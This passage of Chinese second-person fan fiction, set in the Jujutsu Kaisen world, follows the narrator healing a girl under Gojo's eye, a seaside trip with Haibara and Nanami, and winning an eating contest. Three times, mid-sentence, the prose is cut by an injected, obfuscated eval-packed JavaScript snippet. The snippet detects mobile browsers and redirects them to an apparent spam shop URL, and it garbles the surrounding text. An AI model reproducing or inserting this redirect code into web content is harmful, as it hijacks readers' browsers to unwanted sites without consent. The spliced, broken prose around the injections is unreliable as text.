你本可以在地上打滚泄力,然而手上还有个伤员,所以你顺手丢了出去,丢在你的好人五条前辈身上,他也很默契的接过,虽然看起来他表情并不乐意。 累赘脱手,现在你可以张开双臂保持平衡了。 踉跄一两步并不丢人,看起来体面不如实际上毫发无伤。你站稳脚步以后,体体面面地回头,自以为礼貌向他问好:“前辈,10分钟还没到呢。” 他表情古怪,看得出来他有许多个人情绪想表达,不过最后他说出的话是关于任务:“二级,并不强,它很擅长隐匿气息,连我也只有在它开门的时候才感应到。可惜,对杰应该很有用。现在死了。铃木,你很敏锐,居然能在那个时候就发现它。” 五条悟大概是想夸你的,你也大方接受了:“哦。” “……” 你伸出手想指向那个女孩,论援助和救援,明显还是他们更擅长,你想问问她怎么样,不过被刚才不吱声的他抢先开口:“你的术式,也挺有趣的。” 你对伤员本来也没有多少关心,立刻就转走了:“术式?我也有术式吗?” “说什么蠢话,刚才那不就是么。” 这种事情没有听说过哇,你知道七海和灰原是有术式的,而且已知的大部分术式都源于天生,所以也叫生得术式,不过也存在只有咒力而没掌握术式的咒术师,占比也不在少数,你以前把自己当做偶然有了咒力的无术式者:“哦?” “所以说……你说话能不能不要说哦!”他突然忍无可忍地对你叫喊起来。 你:“嗯,好的。” “……”他的眼睛像汪洋海水,也像天空,想把你淹死,也想让你成高空抛物。“我有点受不了你,说真的。以后再说。” “在连载电视剧中,断章往往是惹人诟病的收视率小技巧。结论:观众们会很期待【那后面发生什么事情了呢?】” 他就像是打定主意一样不肯说了,转而走出暗室,到黄色的灯光底下:“你,试着治疗一下她吧。铃木。”姓氏就像是剧组里的关系户一样,最后被硬塞进来,至少表明他试图友好的态度。 “我吗?”你也跟着他走向光明处:“我不会啊。” 这会你俨然又是个初学者了。 “你的咒力流动和硝子类似,是能治疗他人的类型。” “你怎么知道的?” 他轻哼一声,使墨镜顺鼻梁倾斜,露出眼睛:“我的眼力很不错。” 没什么别的意思,你看了一眼他还没脱手的小孩,然后点头:“嗯。所以具体是怎么看见的呢?” “你这家伙……我有六眼,知道那是什么吗?” “完全没听说过。” “就是能清晰看见咒力流向的眼睛,不管是术式还是咒力,几乎不会逃过观察。” “所以它现在全天候都会发光?睡觉的时候也会?”你问的是他像海中水母一样发光的眼睛,这部分比较容易引起好奇。 “奇怪的关注点,算是吧,睡觉的时候应该不会。因为睡着了。”五条悟顺着你的问题回答,“所以,这孩子状况不太好,不是你一定要上来找她的吗,快点发动反转术式,我要去甜品店,吃可丽饼。” “我还好,没那么饿。”你的前辈看起来想给你打一顿,你说:“如果没有及时找到这个女孩,硝子前辈会伤心的吧。顺便就来了,我们可以带回去给她治吗?或者前辈你来。” “我的反转术式只对自己生效,至于硝子,她带你出来是想让你实践,喏,这正好有个让你练手的家伙。” “你不饿吗?” 你的前辈又暴躁起来,哎,他脾气真是够坏的。“你最好在我耐心告罄之前到这边来蹲下看伤口。” “那,我浅试一下。”你对学习新事物一点也不排斥,只是不想在五条悟面前失败,他长了一张很会笑的脸,不是很愿意看见他讥讽的笑意。 你蹲下后,他在你背后听不出情绪地出声:“你可以直接和我说的,如果你再坚持一下。我没看过学生的任务记录,不过这应该是你第一次独自面对二级吧?” 你看他不像是很会关怀后辈的类型,不过也可能是你看走了眼。你的手触摸到女孩发热的额头,黏腻的汗立刻粘上了手指,这时回头,你慢慢地告诉他:“可是……好像他们,说你脾气不是很好诶。” 你接触过一些不同的辅助监督,老师只有一个,同学满打满算只有5人,不过你想,这也不难看出他的性格比较张狂,总有一款接触过的人会在背后随口说说自己和不省心少年五条悟的二三事。 你栽赃给了一个不存在的影子,而实际上发出此感想的只有你一个人,就你所知如此。 他受不了你了:“你的尊敬之心一定要在那种时候出现吗?”倒是对自己的性格有所知觉。 眼前的小脸脏兮兮,她双目紧闭,面色苍白,你观察的时候顺便分了神给前辈:“倒不如说是不想惹麻烦。”恭敬什么的,从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13664967|144086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来不存在的东西怎么能突然跳出来? 在他接着说什么之前,你先以问题堵住他的嘴:“我不知道该怎么办,用咒力打人我都不太熟练。治疗的话……” 而他出乎意料地没有嘲笑你。 “那天你自己治疗的时候,回想起来那种感觉,你当时在想什么?” 你当时在想什么,那种不值得记忆的小场合你大概是全忘了,你回想片刻,也如实告诉他:“不记得了。” “你被咒灵伤到了手,把手缩到身后,有7、8秒的时间,再次审出来的时候,就完好如初了。” “唔,被你一复述,似乎……”似乎你只是觉得如果被咬了很丢人。你若有所思,重新集中在这个亟待救治的伤员身上。 咒力源自于任何存在的负面情绪,诅咒亦如是,因此才有只有诅咒才能杀死诅咒的说法。看起来,反转术式并不是开心的魔法,也只不过另一种形式的负面情绪再利用。 以咒力为引线,精密地编织健康体魄,从入门到精通,你在片刻就领悟了其中关窍。 手下的人脸有了血色,好像是从冰封的封印中解除并且逐渐苏醒的冬眠动物。 “打住,这里不能再多一个小孩了。你停止。” “嗯。”你就不去计较他这个17岁小孩的暗搓搓了,收手,让开身。 “恢复得还真不错……你这个人,铃木,你还可以哎。” 是是是,好好好,你不计较。嗯了一声就开始往回走,10分钟到了。 电梯基本报废,你在只有【安全通道】几个字是绿色发光的昏暗楼道里向下穿行,湿热的空气让你怀念空调凉意。也许大厅扶梯是更好的选择。 楼下的两位前辈似乎很关心你们这的动向,他们在看见你无事后,目光转移到你身后提溜小姑娘的五条悟。 你说:“生了,是个女孩。” “……” “……” 无论是抽象还是反转术式,都在三言两语期间很快过去,改变不了的事实是,因为引发爆炸,你们很难交差。 “老师不会骂你,只会怪我们没看好后辈。” “这样么,上厕所不小心遇到咒灵埋伏九死一生这种事情我以为是不可抗力。”你以指甲为刀一样比划,“这里,曾经被打得血肉模糊(特效)已治好。毕竟谁也想不到如厕的路上会刷怪,实在是有点乘人之危的意思。” “五条和夏油多少沾点不良,星夏,你又是怎么回事?”你的前辈点了一根烟,心情不错的样子,她身上也没有少沾要素。 “我啊,以前混过社会,后面忘了。我请前辈们喝下午茶,问责的事情明天再说好了。”反正明天你也不和他们一起行动,老实上课下课,期待老师放过。 辅助监督忙于沟通交流,而你们顺利从后门撤离了此地。 “我发过消息了,接下来他们会过来把人送医院,后续由总监部相关处室牵头,之类之类。五条,你想去的地方坐巴士能到吗?我不想走很远。”露天温度可达35,不想在外面呆很久也情有可原。 他简要说明:“铃木请客,我们换家店。” 然后就领你们驾轻就熟上了巴士,你没带零钱,夏油杰帮你付了。最有趣的点在于,在下车后,走过一条街,你被领着进了一家看起来就很贵的店。 真是无论哪一年,法国的东西都不便宜呢。 “喂,五条,我以为你和星夏关系正常些了。” “啰嗦,她都当咒术师了,怎么样铃木,有没有诚意请前辈们喝、下、午、茶?” “有被你日式霸凌到。”你不咸不淡的进去找了个座位,“别客气,大家请便。” 翻了一会菜单,你在焦糖和水果之间犹豫,家入硝子突然问你:“我记得你入学还没满一个月,工资应该还没能打到账户上吧。” “那个啊,不要紧。”你的手停顿了一下,“出于一些不方便透露的原因,我还有没花出去的钱。” “你哪来的钱。” 面对一路把你拎到这的前辈,你没那么好态度了:“前辈别管,你喝你的茶。” 最后你两个都点了,只是甜品而已,甚至连放纵都算不上。 在回去的路上,你没忍住巴士一路轻微晃动,靠着车窗睡着了。可丽饼还真是有够甜的,让你头脑发涨,窗外的景色从街道转为绿化带,再到苍翠树木,你也在即将抵达站台的时候顺利转醒。 下车后在自动售货机里买了一罐咖啡。 “谢谢硝子前辈,困了。”忘了,你没带零钱,好心的美女帮你解了围。 “不客气,有伤员在医疗室等我,我就直接赶回去。你们三个,不要吵起来哦~”现在,她觉得你不像是会被欺负的类型,也很懂为自己主张权益。 只有你一个人回答了她:“好的。” 事实上,在和硝子分别之后,你没在和他们两个人说一句话,只在快到告别的时候挥了挥手。 10. 第 10 章 你的第一份工资是和两位同期的一起发下来的。 “铃木,要不要一起去庆祝?” 你支持:“去哪?”和灰原越过七海就把事情敲定了,你已经了解了,他这个人,随和。虽然脸臭。 “找一个没有任务天气又不那么热的下午。”灰原说明了自己的建议:“我想去三浦半岛看海。” “只是看海的话付点巴士钱,不是随时都能去吗?” “想吃海鲜。和坐观光船。” 开销一下就增大了。 你已经能够熟练的使用手机搜索引擎,支起腿在凳子上摇摇晃晃检索出结果:“金枪鱼港口啊,怪不得。” “而且风景也很美啊,我买了照相机。” 七海这个时候淡淡插了进来:“不要乱买东西,你不是还要给妹妹付学费吗?” “哦?你还有妹妹啊灰原。” “哈哈,是有那么一个,现在还在上初中呢。” “你们家庭条件也很困难吗?”还有高中生要供初中上学的事情,你听说的比较少。 灰原露出了老实巴交的笑,淳朴得不像城里人:“没有没有,只是因为长期住校,父母会担心我过得怎么样……之后在某一次电话里夸下了海口。【别看我这样,以后里奈的学费我都可以负担呢】之类的……” “所以里奈的学费……” “夏天不吃海鲜的话,而且我在论坛上看见那边有很漂亮的黑色石头和蓝色海,铃木,你就没有对神奈川心动过吗?!” 出去玩的事情给他这么讲得热血沸腾,你摇摇头:“一般,不过你买的照相机多少钱?可以拍到好看的照片吗?如果你给我拍照片我就跟你一起玩。七海一定也很爱照相吧!”他肯定不爱。 “没有的事情,请不要擅自揣度别人的想法,我也没说要去。” “赚了钱不就是要花掉的吗?”你接着加把劲,看到七海不乐意的样子你反而就觉得神奈川完全可以一去:“灰原你的相机续航没问题吧,可不要没拍到夕阳就没电。” “包在我身上!” 一来一回连招一键触发,你拉住最难搞的同期右边,灰原立刻默契拽他左边衣袖。 “七海。” “七海!” “……” 他入伙了。 如果把人置于一个长期且近乎没有尽头的时间段里,那她将很容易迷失,就像暑期有一大堆作业但是足足拥有一个暑假的学生,甚至会丧失一些本该有的良好生活习惯,比如按时起床吃饭,晚上及时睡觉等。 自从享有长生这一殊待之后,你有多久没有抱着轻松愉快的心情出去玩耍了? 绝不是没有,但也并非比在那之前更加频繁。作为社会中的一份子,有规律的娱乐行为也是相当重要呢。 你有点喜欢拍照片,也愿意为照相做些准备。 为了灰原价值十余万的相机,你在接下里的两天里接连购入一件亮绿带明艳碎花的新裙子【小姐,您穿这身到海边实在是太合适了这种话到底是谁在信啊!哦,原来是你这个愿意付费万元的人。】、一根22mm卷发棒【你认为黑色的卷发在阳光底下会很漂亮,而柜员告诉你这个尺寸卷出来最为复古优雅】、石榴样式的宝石发饰【最小,也最贵】、棕和黑的美甲【早就想涂了】、一套你不允许过期,它们就永远能服务你的化妆品【预算有限,你在没被同学们注意到的地方随随便便地挥霍了许多,现在钱包哭诉自己的空虚,你还要为接下一个月预留。】 怎么不算是为了醋包一桌饺子呢? 出行的那天风和日丽,你在微笑送走校长之后,他后脚又回来。 “铃木,有什么事情吗?” “没有,您墨镜挺好看的。”夏天,海边,你在出发前半个钟头意识到自己少了一件潮人装扮,即便是经验老道的长生者也难免有疏漏。 不过问题不大,你应该可以在某个地方购买到它。 “夜蛾老师刚才喊了你几声,你都没理他。” “我在想着去哪里弄来一副墨镜。” 七海对你无语了,灰原有些激动:“你果然也很期待三浦半岛吧!” 没什么不好承认的,你点头:“嗯。” 在前往市区的巴士上,灰原还问你要不要用第一笔钱为相熟的前辈们买点纪念品。 坦白说,你没留一丁点钱到这份预算上头,更何况你还有墨镜要买:“我只在那些中老年人口里听到过这个习俗,传说子女工作后的第一个月要买点东西回家,以示孝敬父母。” 有人戳穿你:“她只是不想送而已。” “七海,你说罢,你要送什么?” “不送。” “灰原,你可不许学他,当然,送东西这部分我认为可以适当借鉴。”你的意思是,大家身为同期没有必要在近似职场的高低年级关系中卷起来。 灰原一脸天然完全不领会你的意思:“是买吃的好,还是纪念品的贝壳之类的?” 劝不了,下一个,你整理桌面准备回宿舍准备:“买三个相框,拍点照片,一人一张。礼轻情意重。” 七海的“铃木,你--”和灰原的“你说的好有道理”同时响起。 “男孩们,我去烫头了,四十分钟以后车站见。”说完你一溜烟跑走了。 虽然灰原才是这件事情的倡议者,不过在你看来,你对此行的期待一点不比他们少。在站台见面的时候,你的装扮着实惊讶到了你的两位同学。 “铃木,你这副打扮是在,你是要去走秀吗?”你把灰原的惊叹当做恭维,说到秀场,他还是见识少了。 “你拍照技术怎么样?” 他不好意思地挠头:“这个啊……我现在也不敢确定了。不过铃木你挺好看的,就,应该不会丑吧?” 最后这个疑问的语气未免太可疑,你转身问另一个人:“七海,你有丹麦血统应该很会照相的,是嘛?” “我不觉得这两者有任何关联,而且你迟到了十分钟。” 好,他不会。 你又转移视线,成功注意到本该在第一时间就看见的箱子:“这谁还带个箱子?” “灰原的,他要买纪念品给家人和前辈。你的相框也被采纳了,打算过几天买。” 为人实诚,你摇了摇头:“真是有颗金子一般的心啊,灰原。” 在车来的前十几秒,你整理了一下发梢,确认了已经挂在激动少年脖子上的照相机后第一个坐上了车的最后座,并且霸占了最后排六个座位中的一半。 “这些是什么?” “粉底定妆腮红眼影眼线和口红。” “太了不起了,光是看到这些东西我都头晕。” 城郊的路平而少红绿灯,在平稳运行的公车上,你在抵达东京的巴士站之前就完成了自己的一套妆面。在灰原一脸傻相惊讶地说不出话来的表情中,你从未和他有这么严肃过:“你一定要好好拍照。” “对了,我的化妆品袋放你的箱子里。” “不过铃木,你看起来好成熟,像电视里的大姐姐。你以前……不长这样的。” 害,化妆么,红色的嘴唇和黑色的眼线,就是那么回事。 “好看就行,我对风格没什么偏好。” “呼,听到你说这个我突然就放心了,还是以前的那个铃木啊。” 你问他:“……你要不说说【以前那个铃木】是怎样的铃木?” “看起来什么都不在乎,有种没睡醒的感觉……饶了我吧铃木,我没有说那样不好。只是,只是会给人一种你做什么都不会尽全力的感觉,怎么说呢,像小时候奶奶逗我和里奈玩。” “太失礼了。”分秒之间你经历辈分升舱,即使是不苟言笑的七海听见这话也呛了一口,他咳嗽的声音十分刺耳。你这句话是送给他们两个人的。 在前往三浦半岛的路程中,你们换乘了三次,等抵达时,没吃早餐的灰原心中只有本应此刻已经消化完毕的海鲜饭。 “年轻人还是浮躁,我几天没吃饭也不会像你一样。” “骗人吧!铃木你最久多久没吃过东西?” “几个月,我冬眠。” “别信,灰原。嘴别张那么大。”七海今日的常服是一身蓝色衬衫,配卷到膝盖的休闲裤,他的语气还和平时一样低沉,不过表情柔和许多。 你在一边神秘兮兮地告诉全场最好骗的人:“是真的,我曾经在印度学习过辟谷的苦修法术,通过独特的呼吸方法和冥想……后面编不下去了,哈哈哈。” 灰原穿了一身全黑的聚热服,你以为他会更活泼一点。 全场只有一个人会做出握拳举手的动作,此刻他发表宣言:“我要吃金枪鱼寿司金枪鱼寿司和金枪鱼寿司!” “那边,有港口丰产季节的活动摊位,你看见那个海鲜放题和大胃王比试了吗?”赢就送2w代金券,虽然不是现金,但是也足够在这地方吃一整天,“灰原,高专派你参赛。第一名还有神秘大奖呢,说不定他们会送我们一只松叶蟹。” “那是在更北的地方才能捕捞的雪蟹。真是惊叹你的常识。” “七海,难得出来玩,再说我不经常能看到海。我怎么知道哪里有螃蟹。”你说这话的时候叉起了腰,“反正地球上只有一片海洋,即便划分了区域,它们也都是联通在一处的。” 灰原只说自己胃口一般,在开场前已经有一些人聚集在布置完备的展台前:“他们看起来就很能吃的样子,我应该排不上前三。” 你指了指夸张字样的广告牌:“没拿名次也只需要门票钱。” 灰原心动了。他转头看七海:“七海,你要不要一起来?” 七海转过头,从表情到动作到语言同步给出结论:“我拒绝坐在台子上被观众看。” 于是他又来问你这个撺掇的人:“铃木,你能吃吗?” 人不能胡乱答应下成本过高的事情,你已经在仔细阅读比赛规则,毕竟这个门票钱对灰原和七海来说并非无法负担,可如果你花了钱又收不回成本,恐怕这个月会略微难捱:“30分钟内吃完10碗海鲜拉面,10根米饭鱼卷,5个鱼排汉堡。好像也没有很困难。” “你认真的?” 你摸了摸自己平坦的小腹:“这里已经一天没吃饭了。”有关杯的准则从来离不开痛苦和欲望,吃饱喝足自然也是其中所属,区区大胃王比赛,拿下。 决胜于比赛开始之前:“今晚我请大家吃晚餐,把代金券花完。” “……” “别把自己说信了,我可不想晚上在急诊室门口过夜。你们两个,适可而止一点。” 你把七海的关心当耳旁风:“比赛还有两小时开始,灰原,你还想先吃饭吗?” “不想!”性价比当前,有人志气满满。 “我吃。”七海走进一家咖啡&轻食。 灰原吞咽口水的声音明显,你添了一把火:“我也吃一碗烩饭。”你甚至点了他最爱的大米。 “铃木,你下午还吃得下吗?” 你语调轻快:“无妨,就当做一顿普通的回本自助餐。” “那……我也要一碗!” 你给七海起了一个外号:销冠。 两个字,让两位同期花了1600. 七海让你滚,你伤心极了,饭后拉着灰原就去海边礁石上咔咔一顿拍照。 你的拍照技术和手机摄像头的质量都不咋地,不过直拍的照片能够以彩信的形式发给联系人,你拍下并不清晰的蓝海白浪,发送给几天没联系的家入硝子。 她的回复很快:? 你:跳海了 你:不是,在三浦半岛玩,热情分享给前辈。 她:我们正好在神奈川,你们什么时候过去的? 你:刚到没多久,准备去灯塔拍照了,灰原可是个摄影小天才。 是真的,第 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13664968|144086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一次有人教你拍照片还需要摆pose,听起来未免有些孤陋寡闻,但几十年前照相毕竟是个昂贵的项目,你和你拍摄过的照片大多用于严肃场合的纪念。 像静态的油画那样端庄。 她:真是好福气,我们接下来还有一场任务。 你也许应该安慰她两句,但他们催促你快点跟上,你就没心没肺收了手机,拴在胳膊上,然后一步一步往灯塔走去。 “下午的阳光我看比夕阳还适合照相。” “哦?是吗?” “没错没错,铃木你信我。” “好,给我和七海合照。” “跟我没关系吧。” “诶,怎么这样,那我呢?我不能一起吗?” 海风吹在你的脸上,困得你想睡觉,但是不行,首先你需要补个妆。时代在变化,现在你脸上的汗液居然都能显示在相机镜头中了,你有点怀念那个连痣都拍不出来的时代。 你懒洋洋的:“不出任务就是最好的一天。合照什么都无所谓,你给我好好构图就行。” “那我们三个人一起拍一张。我请路人帮忙。” “好啊。” “你们两个是不是忘了什么,比如征求另一个当事人的意见。” 你指使发起邀请的人:“灰原,你求求他,七海一定会答应的。” “……” “到时候这些照片我拷贝出来,放在电脑里看。如果你们有喜欢的就洗出来留存。” 灰原隐藏的资产令你无从预料:“诶,你还有电脑吗?” “嗯!买了一台新的笔记本电脑,比台式机更加轻便,可以放在背包里带出门。” “哦~”虽然不知道它还能干什么,但你也想买。 你们拍下了许多照片,大部分是你的,少部分是你拿灰原练手的,七海不乐意出现在镜头中,但他喜欢海。 在热烘烘的干燥黑色石头上,你趁其不注意调转镜头,眼明手稳拍下了正在微笑拥抱海风的七海:“大概是因为汉字写法里都带个海的缘故。” 你躲开视线,邀请好奇的灰原一同观赏拍下的照片,他夸赞你很有天赋。你不叫七海看到显示的照片内容,稳步后退着,嘴上说:“以后等我不做咒术师了,我就去环游世界,然后拍照片。”时代发展也会带来很多你感兴趣的内容,下个月你的待办事项多了一个购买照相机。 “铃木你不喜欢做咒术师吗?” “挺喜欢的,但总不能一直做这个,听硝子前辈说另外两位前辈几乎每天都有任务。就生活而言,一直赚钱却没时间花也会苦恼。后面是我猜的,实际我并不清楚大家的生活习惯。”你最长能服从安排从事这一职业多久呢,10年?20年?但你不会变老,你永葆美貌,得在他们发现端倪前收拾收拾功成身退。 灰原一派天真:“毕竟是特级,老实说我没想过以后,我觉得现在就很好。七海你呢?” “先赚钱。我目前觉得一切都还能接受。” “哇,先、目前、还能接受。好严谨的说辞,配得上你冷峻的脸。” “你欠揍吗?” 你冲七海点头:“但你不会打我的,对吧朋友?” * 灰原把【四舍五入不要钱的自助餐】开始时间记得很牢,在开始前二十分钟就提醒学会了摆很多新造型的你开始备战。 “灰原最守时的一集。” 七海最爱讲公道话:“每次我们一起出去,只要不是任务,你都会到的最晚,优等生。” “如果优等生是这种标准,老师该哭了。” 灰原走在前面突然扭头回来告诉你们:“五条前辈问我们在哪里,说是任务完成,也一起来观光。诶,你们怎么了?” “呃……” “这个嘛,也不是一定要他们加入。”话是这么说,不过灰原多半会回好啊好啊然后送上地址。 他很纳闷:“我以为你和前辈们关系不错。” 你不指望灰原能听明白,索性只和七海解释:“只是能接触到更多任务,本质上是一种蹭饭。出来玩还是想和更熟悉一点的人同行,你理解吗,七海,这种微妙的差别?” “啊嘞,所以你只是想借家入前辈的关系多练习反转术式吗?好无情!” 你斜了他一眼:“给你一次重新组织语言的机会。”这孩子理解能力意外的没问题,但是能不能讲话不要这么直白哇。 “啊,七海你看到了吗,刚刚铃木露出了很恐怖的表情。你们都不喜欢前辈们吗?” 七海:“别管。” 你:“不讨厌,都是好人,不熟。” 你后来又加了一句:“硝子前辈还不错。” “呜哇,更明显了。” 于是你借用了七海一分钟前说的话:“别管。” 等到展台的时候,你才想起来询问他最新的参赛意愿:“你还吃吗?” “吃,怎么了,铃木你不吃了吗?” 你摸了摸额头,斩钉截铁告诉他:“吃,晚上还有一点2w的小钱要花。多出来的你们自己A。”丑话说在前面,你连墨镜后来都没买,当然也不愿意再多费额外的钱。 七海看出了你的认真:“你不会是说真的吧……” “当然,我向来说到做到。唔,好像也不完全是这样,但总之我们会得到代金券的,有新闻媒体作证。”你指向一边已经摆好的摄像机,还有在那之后调试镜头的人。 灰原兴冲冲地去缴费和填写信息,等你和七海聊完,他已经带回了你的参赛手环:“像这样贴在手腕上就好,对了,报名费我帮你交过了,毕竟是我想请你来陪我的,不能让你花钱。” 好人。 “呐,还有这个,你可以把头发扎起来。”他递来一根发圈,“不过你很瘦,要量力而行哦。” “放心,我比看上去能吃。”你缕起自己散落耳边的头发,用他好心提供的皮筋束缚住它们。 11. 第 11 章 灰原和你被分到了并不相邻的两边。事实上,略懂数学的人即可看出这一活动对于普通胃口的游客而言亦有优惠,正如灰原所设想的那样,把它理解为很优惠的自助餐也未尝不可。 你是28号选手,被放在了号称是卫冕冠军的一个瘦高男人右后方,这称呼你是听摄影组那边讨论的,你的位置也正在摄像机附近。灰原在更边上。 你回头看他一眼……肉眼可见的氛围组。 不管他们是怎么想的,但是把你放在竞技组里也算一种阴差阳错。 他们都是催吐,只有你是能实打实一直吃一直吃的。毕竟,对于普通人类来说,想必不存在能够吃的很多而保持身形匀称的事情,不然营养学和能量守恒岂不是都变笑话? -- 灰原没能和你分到一起,但也不沮丧,他还有很多碗饭可以吃,还有很多海鲜可以享用,或许出于宣传目的,店家在餐食里的用料也同样喜人。 他是休闲娱乐组里比较晚结束战斗的人。 灰原雄摸了摸肚子,羞赧谢绝了他们再来一碗的热情好意,下台的时候他暗自感叹:这下完全回本了。他看见了台下摄像机后相当一段距离的金发同窗,还有不知何时抵达的几位前辈。 “我来了!”他招手说着,同窗直接撇过了头。 回到属于同校的气息中去,他才意识到一个问题,后知后觉发问:“欸,铃木呢?” 七海轻哼一声:“好问题。” “……”叼着糖果的前辈戳了戳他的肩膀,指向聚光灯所在的地方:“你看,那边,碗堆得最高的地方,瞧见了吗?” 于是他受家入前辈好心的指引看过去。在那个方向,身形瘦削、肤色与本地健康小麦色格格不入的女孩正在捧起碗喝下面汤,她的脸完全被宽大的黑色面碗遮盖住,不过也仅仅只是短暂的时间,放下的碗被看起来激动不已的工作人员摞在了高高的案台上。他在动作之前还对着越聚越多的台下观众演示了一把倒碗不撒,因为那里头一无所有。 “嚯,铃木这么能吃哇?” “不是,这明显超越正常人类范畴了,你就没别的想说的?” 灰原睁大的黑白分明的眼睛让人想到一望见底的湖面,虽然干净,但什么也藏不住。他没什么想说的,除了:“所以晚上有代金券可以用了?Lucky!” -- 人们会将“赢下胜利”这个短语用于值得骄傲的事情上,或者说至少那场胜利要让他们感到快乐才行,一点点用于人情的代金券对你而言只不过是囊中之物切实到手而已,就像……银行卡里的钱变成了手上的钞票。所以你吃完了他们要求的所有东西,工作人员面带狂热的时候,你问他要纸巾擦嘴,然后询问:“这些奖励今晚我就想用掉,没问题吧?” “没问题没问题,小姐,你愿意接受采访吗?!” “这就不必了,我的朋友还在等我。晚点见。”这时候你突然想起来还有人同行了,灰原招手的地方虽然远,但不容忽视的动作幅度弥补了这点。 高度合适,人群稀疏,视野开阔无阻碍,你往台前走了两步,直接跳了下来,往同期和前辈的方向快步走去。 “你居然还跑得动。”最先迎接你的是硝子亲切的问候,“我能摸摸你的肚子吗?” “请便。” 她的动作像你怀了海鲜面的孩子,生怕引起胎儿不适。良久,你的前辈收手回头:“平的。” 你解释:“天生吃不胖。” “很没有说服力哦,星夏。” 你也摸了摸平坦的小腹:“事实胜于雄辩。” 另一个白毛前辈仗着身高优势,下巴直接搁在了靠你很近的前辈头上,他懒洋洋吐槽:“无论怎么想,这事情已经违背科学认知了。你吃了多少大家可是有目共睹。” 你正对上墨镜下透出的一抹蓝光。 肉眼仅能看到世界表皮的信息,这不是他们的过错,你以顺从的微笑化解他的疑问,也许,只是让他的好奇埋得更深。 三个人的观光是一场开阔的兜风,六个人则变得拥挤,你补口红的时候有个现场第二成熟的人发出嘘声。在五条悟的认知里,他生日12月7,硝子11月7,至于好朋友杰和后辈们,都是更晚生的,所以他是现场年级第二大,而你对他未成年的起哄充耳不闻。 “颜色太重。小孩子没必要弄成这样,你看你硝子前辈就是自然美。” 前面忘了后面忘了,你看见硝子淡粉色的唇珠,透亮的质感仿佛凝结阳光。真是有趣,一个号称不会放过任何逸散咒力的好眼力家伙,看不见同学自然色唇釉,转头说你买的颜色太浓。 你回答:“知道了,等这根用完再也不买了。” 你忘性大,可即便如此也知道,正如长生者多死于非命,口红的寿数也难以到它被用完的那刻--反正在它用完之前你就会购买其他色号。你也就骗骗不懂此外行人,效果甚佳,你的前辈看起来乐呵呵。 “五条,你压到我了,很烦。” “哦哦好。”他挪开身,继续对你评审:“发夹挺好看。” 在这点上他作为有钱人的眼光不差,你感谢他的夸奖:“这是我身上最值钱的东西,前辈眼光不错。” “嗯?多少钱?” 你说出了一个即使是高专学生也难以负担的价格。 “……你说多少?” 你又重复了一遍那个咒语一样的数字,并许愿:“希望钱和水一样永不枯竭。” “你知道自己没有其他收入来源吧?” 最大赞助人疑似对你的资金支配产生质疑,你转移话题:“所以前辈们晚餐后和我们一起回学校吗?晚上我就不吃了,请你们吃饭。” 满满的诚意奉上。七海待遇在无形之间变差了许多,本来他大约可以独享店里所有最贵的菜。 说完这句话你就拉硝子去一边:“硝子前辈,我知道有个拍照很好看的地方……”然后薅走了同期珍视的照相机。 你郑重向他承诺一定会完璧归赵。 海边夕阳很早,你们再过去时已经是橘子色。 你的前辈和你光脚站在礁石上,她眸光也染上的夕阳,问你:“你很不待见他们?” “没有,只是想拍照片。”这么说的话她也不太会相信,你又补充了一句:“我不喜欢男的。” 然后你才想起来,你和七海灰原关系也不错,失言失言,然后你们互望,陷入沉默。 “咳,他们两个虽然是问题少年,可并不是坏人,至于我么……”你的前辈从口袋里掏出打火机。 你不为所动,咔嚓按下快门,慵懒忧郁的前辈就定格在余晖中,火光的蓝与橘就是海和太阳的颜色。 你向她展示了自己颇有天赋的照相技能。 “你还真会拍。”她说,吐出一口雾气,“要我帮你吗?” “灰原已经拍了许多了。”你往回退照片库,邀请硝子共赏,“我喜欢拍照。对于相片来说,至少在那一刻得到了永生。” “你以前遭遇过生命危险?” 你将拇指食指凑一起搓了搓:“唔,一点点。”具体不想多说,都是老故事了,像黑白照片一样封存在旧相册里足矣。 “姑且问下,你有想倾诉的意思吗?” 你诚实摇头。 “那我就不问了。”你张弛有度的前辈善解人心,和你一起看夕阳。过了一会她问你:“你到底是怎么吃那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13664969|144086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么多的?” 你都不用敷衍她,将手指竖于唇前:“秘密哦,前、辈。” 她摸你的发饰,光耀下汁水流溢似血的石榴:“真是不讨喜的丫头。” “嘻嘻。”你不避让。 晚餐时,灰原又来了一碗饭。他喜好社交,因此无法忍受不能融入集体的体验,在其他人面前都有食物的时候……他点了牛肉盖饭。 “铃木,果然即便是你也吃不下了吗?”店家热情的招待使你们还有了一个包间,而且还可以想吃什么就点什么,代价是你要接受他们的采访,并且允许肖像的使用。 这倒没什么问题。 你答应了。 “不是,只是不饿而已,而且就算被友好地邀请了,吃太多的话也会遭白眼。”毕竟你们可是足足有5个人。 